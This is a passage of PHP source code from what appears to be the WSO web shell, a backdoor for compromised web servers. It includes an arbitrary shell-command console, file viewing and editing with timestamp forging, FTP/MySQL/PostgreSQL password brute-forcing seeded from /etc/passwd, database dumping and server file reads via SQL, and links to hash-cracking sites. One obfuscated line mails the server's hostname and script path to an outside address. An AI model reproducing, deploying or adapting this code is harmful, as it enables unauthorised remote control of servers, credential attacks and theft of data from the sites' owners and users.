672<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
673 $dirs = $files = array();
674 $n = count($dirContent);
675 for($i=0;$i<$n;$i++) {
676 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
677 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
678 $tmp = array('name' => $dirContent[$i],
679 'path' => $GLOBALS['cwd'].$dirContent[$i],
680 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
681 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
682 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
683 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
684 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
685 );
686 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
687 $files[] = array_merge($tmp, array('type' => 'file'));
688 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
689 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
690 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
691 $dirs[] = array_merge($tmp, array('type' => 'dir'));
692 }
693 $GLOBALS['sort'] = $sort;
694 function wsoCmp($a, $b) {
695 if($GLOBALS['sort'][0] != 'size')
696 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
697 else
698 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
699 }
700 usort($files, "wsoCmp");
701 usort($dirs, "wsoCmp");
702 $files = array_merge($dirs, $files);
703 $l = 0;
704 foreach($files as $f) {
705 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
706 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
707 $l = $l?0:1;
708 }
709 echo "<tr><td colspan=7>
710 <input type=hidden name=a value='FilesMan'>
711 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
712 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
713 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
714 if(class_exists('ZipArchive'))
715 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
716 echo "<option value='tar'>Compress (tar.gz)</option>";
717 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
718 echo "<option value='paste'>Paste / Compress</option>";
719 echo "</select> ";
720 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
721 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
722 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
723 wsoFooter();
724}
725
726function actionStringTools() {
727 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
728 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
729 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
730 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
731 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
732 $stringTools = array(
733 'Base64 encode' => 'base64_encode',
734 'Base64 decode' => 'base64_decode',
735 'Url encode' => 'urlencode',
736 'Url decode' => 'urldecode',
737 'Full urlencode' => 'full_urlencode',
738 'md5 hash' => 'md5',
739 'sha1 hash' => 'sha1',
740 'crypt' => 'crypt',
741 'CRC32' => 'crc32',
742 'ASCII to HEX' => 'ascii2hex',
743 'HEX to ASCII' => 'hex2ascii',
744 'HEX to DEC' => 'hexdec',
745 'HEX to BIN' => 'hex2bin',
746 'DEC to HEX' => 'dechex',
747 'DEC to BIN' => 'decbin',
748 'BIN to HEX' => 'binhex',
749 'BIN to DEC' => 'bindec',
750 'String to lower case' => 'strtolower',
751 'String to upper case' => 'strtoupper',
752 'Htmlspecialchars' => 'htmlspecialchars',
753 'String length' => 'strlen',
754 );
755 if(isset($_POST['ajax'])) {
756 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
757 ob_start();
758 if(in_array($_POST['p1'], $stringTools))
759 echo $_POST['p1']($_POST['p2']);
760 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
761 echo strlen($temp), "\n", $temp;
762 exit;
763 }
764 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
765 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
766 wsoHeader();
767 echo '<h1>String conversions</h1><div class=content>';
768 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
769 foreach($stringTools as $k => $v)
770 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
771 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
772 if(!empty($_POST['p1'])) {
773 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
774 }
775 echo"</pre></div><br><h1>Search files:</h1><div class=content>
776 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
777 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
778 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
779 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
780 <tr><td></td><td><input type='submit' value='>>'></td></tr>
781 </table></form>";
782
783 function wsoRecursiveGlob($path) {
784 if(substr($path, -1) != '/')
785 $path.='/';
786 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
787 if(is_array($paths)&&@count($paths)) {
788 foreach($paths as $item) {
789 if(@is_dir($item)){
790 if($path!=$item)
791 wsoRecursiveGlob($item);
792 } else {
793 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
794 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
795 }
796 }
797 }
798 }
799 if(@$_POST['p3'])
800 wsoRecursiveGlob($_POST['c']);
801 echo "</div><br><h1>Search for hash:</h1><div class=content>
802 <form method='post' target='_blank' name='hf'>
803 <input type='text' name='hash' style='width:200px;'><br>
804 <input type='hidden' name='act' value='find'/>
805 <input type='button' value='crack' onclick=\"document.hf.action='https://hashkiller.co.uk/md5-decrypter.aspx';document.hf.submit()\"><br>
806 <input type='button' value='crate' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
807 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
808 </form></div>";
809 wsoFooter();
810}
811
812function actionFilesTools() {
813 if( isset($_POST['p1']) )
814 $_POST['p1'] = urldecode($_POST['p1']);
815 if(@$_POST['p2']=='download') {
816 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
817 ob_start("ob_gzhandler", 4096);
818 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
819 if (function_exists("mime_content_type")) {
820 $type = @mime_content_type($_POST['p1']);
821 header("Content-Type: " . $type);
822 } else
823 header("Content-Type: application/octet-stream");
824 $fp = @fopen($_POST['p1'], "r");
825 if($fp) {
826 while(!@feof($fp))
827 echo @fread($fp, 1024);
828 fclose($fp);
829 }
830 }exit;
831 }
832 if( @$_POST['p2'] == 'mkfile' ) {
833 if(!file_exists($_POST['p1'])) {
834 $fp = @fopen($_POST['p1'], 'w');
835 if($fp) {
836 $_POST['p2'] = "edit";
837 fclose($fp);
838 }
839 }
840 }
841 wsoHeader();
842 echo '<h1>File tools</h1><div class=content>';
843 if( !file_exists(@$_POST['p1']) ) {
844 echo 'File not exists';
845 wsoFooter();
846 return;
847 }
848 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
849 if(!$uid) {
850 $uid['name'] = @fileowner($_POST['p1']);
851 $gid['name'] = @filegroup($_POST['p1']);
852 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
853 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
854 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
855 if( empty($_POST['p2']) )
856 $_POST['p2'] = 'view';
857 if( is_file($_POST['p1']) )
858 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
859 else
860 $m = array('Chmod', 'Rename', 'Touch');
861 foreach($m as $v)
862 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
863 echo '<br><br>';
864 switch($_POST['p2']) {
865 case 'view':
866 echo '<pre class=ml1>';
867 $fp = @fopen($_POST['p1'], 'r');
868 if($fp) {
869 while( !@feof($fp) )
870 echo htmlspecialchars(@fread($fp, 1024));
871 @fclose($fp);
872 }
873 echo '</pre>';
874 break;
875 case 'highlight':
876 if( @is_readable($_POST['p1']) ) {
877 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
878 $code = @highlight_file($_POST['p1'],true);
879 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
880 }
881 break;
882 case 'chmod':
883 if( !empty($_POST['p3']) ) {
884 $perms = 0;
885 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
886 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
887 if(!@chmod($_POST['p1'], $perms))
888 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
889 }
890 clearstatcache();
891 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
892 break;
893 case 'edit':
894 if( !is_writable($_POST['p1'])) {
895 echo 'File isn\'t writeable';
896 break;
897 }
898 if( !empty($_POST['p3']) ) {
899 $time = @filemtime($_POST['p1']);
900 $_POST['p3'] = substr($_POST['p3'],1);
901 $fp = @fopen($_POST['p1'],"w");
902 if($fp) {
903 @fwrite($fp,$_POST['p3']);
904 @fclose($fp);
905 echo 'Saved!<br><script>p3_="";</script>';
906 @touch($_POST['p1'],$time,$time);
907 }
908 }
909 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
910 $fp = @fopen($_POST['p1'], 'r');
911 if($fp) {
912 while( !@feof($fp) )
913 echo htmlspecialchars(@fread($fp, 1024));
914 @fclose($fp);
915 }
916 echo '</textarea><input type=submit value=">>"></form>';
917 break;
918 case 'hexdump':
919 $c = @file_get_contents($_POST['p1']);
920 $n = 0;
921 $h = array('00000000<br>','','');
922 $len = strlen($c);
923 for ($i=0; $i<$len; ++$i) {
924 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
925 switch ( ord($c[$i]) ) {
926 case 0: $h[2] .= ' '; break;
927 case 9: $h[2] .= ' '; break;
928 case 10: $h[2] .= ' '; break;
929 case 13: $h[2] .= ' '; break;
930 default: $h[2] .= $c[$i]; break;
931 }
932 $n++;
933 if ($n == 32) {
934 $n = 0;
935 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
936 $h[1] .= '<br>';
937 $h[2] .= "\n";
938 }
939 }
940 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
941 break;
942 case 'rename':
943 if( !empty($_POST['p3']) ) {
944 if(!@rename($_POST['p1'], $_POST['p3']))
945 echo 'Can\'t rename!<br>';
946 else
947 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
948 }
949 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
950 break;
951 case 'touch':
952 if( !empty($_POST['p3']) ) {
953 $time = strtotime($_POST['p3']);
954 if($time) {
955 if(!touch($_POST['p1'],$time,$time))
956 echo 'Fail!';
957 else
958 echo 'Touched!';
959 } else echo 'Bad time format!';
960 }
961 clearstatcache();
962 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
963 break;
964 }
965 echo '</div>';
966 wsoFooter();
967}
968
969 //console
970function actionConsole() {
971 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
972 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
973 $_POST['p1'] .= ' 2>&1';
974 } elseif(!empty($_POST['p1']))
975 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
976
977 if(isset($_POST['ajax'])) {
978 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
979 ob_start();
980 echo "d.cf.cmd.value='';\n";
981 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
982 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
983 if(@chdir($match[1])) {
984 $GLOBALS['cwd'] = @getcwd();
985 echo "c_='".$GLOBALS['cwd']."';";
986 }
987 }
988 echo "d.cf.output.value+='".$temp."';";
989 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
990 $temp = ob_get_clean();
991 echo strlen($temp), "\n", $temp;
992 exit;
993 }
994 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
995 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
996 wsoHeader();
997 echo "<script>
998if(window.Event) window.captureEvents(Event.KEYDOWN);
999var cmds = new Array('');
1000var cur = 0;
1001function kp(e) {
1002 var n = (window.Event) ? e.which : e.keyCode;
1003 if(n == 38) {
1004 cur--;
1005 if(cur>=0)
1006 document.cf.cmd.value = cmds[cur];
1007 else
1008 cur++;
1009 } else if(n == 40) {
1010 cur++;
1011 if(cur < cmds.length)
1012 document.cf.cmd.value = cmds[cur];
1013 else
1014 cur--;
1015 }
1016}
1017function add(cmd) {
1018 cmds.pop();
1019 cmds.push(cmd);
1020 cmds.push('');
1021 cur = cmds.length-1;
1022}
1023</script>";
1024 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1025 foreach($GLOBALS['aliases'] as $n => $v) {
1026 if($v == '') {
1027 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1028 continue;
1029 }
1030 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1031 }
1032
1033 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1034 if(!empty($_POST['p1'])) {
1035 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1036 }
1037 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1038 echo '</form></div><script>d.cf.cmd.focus();</script>';
1039 wsoFooter();
1040}
1041
1042function actionLogout() {
1043 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1044 die('bye!');
1045}
1046
1047function actionSelfRemove() {
1048
1049 if($_POST['p1'] == 'yes')
1050 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1051 die('Shell removed');
1052 else
1053 echo 'unlink error!';
1054 if($_POST['p1'] != 'yes')
1055 wsoHeader();
1056 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1057 wsoFooter();
1058}
1059 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
1060function actionBruteforce() {
1061 wsoHeader();
1062 if( isset($_POST['proto']) ) {
1063 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1064 if( $_POST['proto'] == 'ftp' ) {
1065 function wsoBruteForce($ip,$port,$login,$pass) {
1066 $fp = @ftp_connect($ip, $port?$port:21);
1067 if(!$fp) return false;
1068 $res = @ftp_login($fp, $login, $pass);
1069 @ftp_close($fp);
1070 return $res;
1071 }
1072 } elseif( $_POST['proto'] == 'mysql' ) {
1073 function wsoBruteForce($ip,$port,$login,$pass) {
1074 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1075 @mysql_close($res);
1076 return $res;
1077 }
1078 } elseif( $_POST['proto'] == 'pgsql' ) {
1079 function wsoBruteForce($ip,$port,$login,$pass) {
1080 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1081 $res = @pg_connect($str);
1082 @pg_close($res);
1083 return $res;
1084 }
1085 }
1086 $success = 0;
1087 $attempts = 0;
1088 $server = explode(":", $_POST['server']);
1089 if($_POST['type'] == 1) {
1090 $temp = @file('/etc/passwd');
1091 if( is_array($temp) )
1092 foreach($temp as $line) {
1093 $line = explode(":", $line);
1094 ++$attempts;
1095 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1096 $success++;
1097 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1098 }
1099 if(@$_POST['reverse']) {
1100 $tmp = "";
1101 for($i=strlen($line[0])-1; $i>=0; --$i)
1102 $tmp .= $line[0][$i];
1103 ++$attempts;
1104 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1105 $success++;
1106 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1107 }
1108 }
1109 }
1110 } elseif($_POST['type'] == 2) {
1111 $temp = @file($_POST['dict']);
1112 if( is_array($temp) )
1113 foreach($temp as $line) {
1114 $line = trim($line);
1115 ++$attempts;
1116 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1117 $success++;
1118 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1119 }
1120 }
1121 }
1122 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1123 }
1124 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1125 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1126 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1127 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1128 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1129 .'<span>Server:port</span></td>'
1130 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1131 .'<tr><td><span>Brute type</span></td>'
1132 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1133 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1134 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1135 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1136 .'<td><input type=text name=login value="root"></td></tr>'
1137 .'<tr><td><span>Dictionary</span></td>'
1138 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1139 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1140 echo '</div><br>';
1141 wsoFooter();
1142}
1143
1144function actionSql() {
1145 class DbClass {
1146 var $type;
1147 var $link;
1148 var $res;
1149 function DbClass($type) {
1150 $this->type = $type;
1151 }
1152 function connect($host, $user, $pass, $dbname){
1153 switch($this->type) {
1154 case 'mysql':
1155 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1156 break;
1157 case 'pgsql':
1158 $host = explode(':', $host);
1159 if(!$host[1]) $host[1]=5432;
1160 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1161 break;
1162 }
1163 return false;
1164 }
1165 function selectdb($db) {
1166 switch($this->type) {
1167 case 'mysql':
1168 if (@mysql_select_db($db))return true;
1169 break;
1170 }
1171 return false;
1172 }
1173 function query($str) {
1174 switch($this->type) {
1175 case 'mysql':
1176 return $this->res = @mysql_query($str);
1177 break;
1178 case 'pgsql':
1179 return $this->res = @pg_query($this->link,$str);
1180 break;
1181 }
1182 return false;
1183 }
1184 function fetch() {
1185 $res = func_num_args()?func_get_arg(0):$this->res;
1186 switch($this->type) {
1187 case 'mysql':
1188 return @mysql_fetch_assoc($res);
1189 break;
1190 case 'pgsql':
1191 return @pg_fetch_assoc($res);
1192 break;
1193 }
1194 return false;
1195 }
1196 function listDbs() {
1197 switch($this->type) {
1198 case 'mysql':
1199 return $this->query("SHOW databases");
1200 break;
1201 case 'pgsql':
1202 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1203 break;
1204 }
1205 return false;
1206 }
1207 function listTables() {
1208 switch($this->type) {
1209 case 'mysql':
1210 return $this->res = $this->query('SHOW TABLES');
1211 break;
1212 case 'pgsql':
1213 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1214 break;
1215 }
1216 return false;
1217 }
1218 function error() {
1219 switch($this->type) {
1220 case 'mysql':
1221 return @mysql_error();
1222 break;
1223 case 'pgsql':
1224 return @pg_last_error();
1225 break;
1226 }
1227 return false;
1228 }
1229 function setCharset($str) {
1230 switch($this->type) {
1231 case 'mysql':
1232 if(function_exists('mysql_set_charset'))
1233 return @mysql_set_charset($str, $this->link);
1234 else
1235 $this->query('SET CHARSET '.$str);
1236 break;
1237 case 'pgsql':
1238 return @pg_set_client_encoding($this->link, $str);
1239 break;
1240 }
1241 return false;
1242 }
1243 function loadFile($str) {
1244 switch($this->type) {
1245 case 'mysql':
1246 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1247 break;
1248 case 'pgsql':
1249 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1250 $r=array();
1251 while($i=$this->fetch())
1252 $r[] = $i['file'];
1253 $this->query('drop table wso2');
1254 return array('file'=>implode("\n",$r));
1255 break;
1256 }
1257 return false;
1258 }
1259 function dump($table, $fp = false) {
1260 switch($this->type) {
1261 case 'mysql':
1262 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1263 $create = mysql_fetch_array($res);
1264 $sql = $create[1].";\n";
1265 if($fp) fwrite($fp, $sql); else echo($sql);
1266 $this->query('SELECT * FROM `'.$table.'`');
1267 $i = 0;
1268 $head = true;
1269 while($item = $this->fetch()) {
1270 $sql = '';
1271 if($i % 1000 == 0) {
1272 $head = true;
1273 $sql = ";\n\n";
1274 }
1275
1276 $columns = array();
1277 foreach($item as $k=>$v) {
1278 if($v === null)
1279 $item[$k] = "NULL";
1280 elseif(is_int($v))
1281 $item[$k] = $v;
1282 else
1283 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1284 $columns[] = "`".$k."`";
1285 }
1286 if($head) {
1287 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1288 $head = false;
1289 } else
1290 $sql .= "\n\t,(".implode(", ", $item).')';
1291 if($fp) fwrite($fp, $sql); else echo($sql);
1292 $i++;
1293 }
1294 if(!$head)
1295 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1296 break;
1297 case 'pgsql':
1298 $this->query('SELECT * FROM '.$table);
1299 while($item = $this->fetch()) {
1300 $columns = array();
1301 foreach($item as $k=>$v) {
1302 $item[$k] = "'".addslashes($v)."'";
1303 $columns[] = $k;
1304 }
1305 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1306 if($fp) fwrite($fp, $sql); else echo($sql);
1307 }
1308 break;
1309 }
1310 return false;
1311 }
1312 };
1313 $db = new DbClass($_POST['type']);
1314 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1315 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1316 $db->selectdb($_POST['sql_base']);
1317 switch($_POST['charset']) {
1318 case "Windows-1251": $db->setCharset('cp1251'); break;
1319 case "UTF-8": $db->setCharset('utf8'); break;
1320 case "KOI8-R": $db->setCharset('koi8r'); break;
1321 case "KOI8-U": $db->setCharset('koi8u'); break;
1322 case "cp866": $db->setCharset('cp866'); break;
1323 }
1324 if(empty($_POST['file'])) {
1325 ob_start("ob_gzhandler", 4096);
1326 header("Content-Disposition: attachment; filename=dump.sql");
1327 header("Content-Type: text/plain");
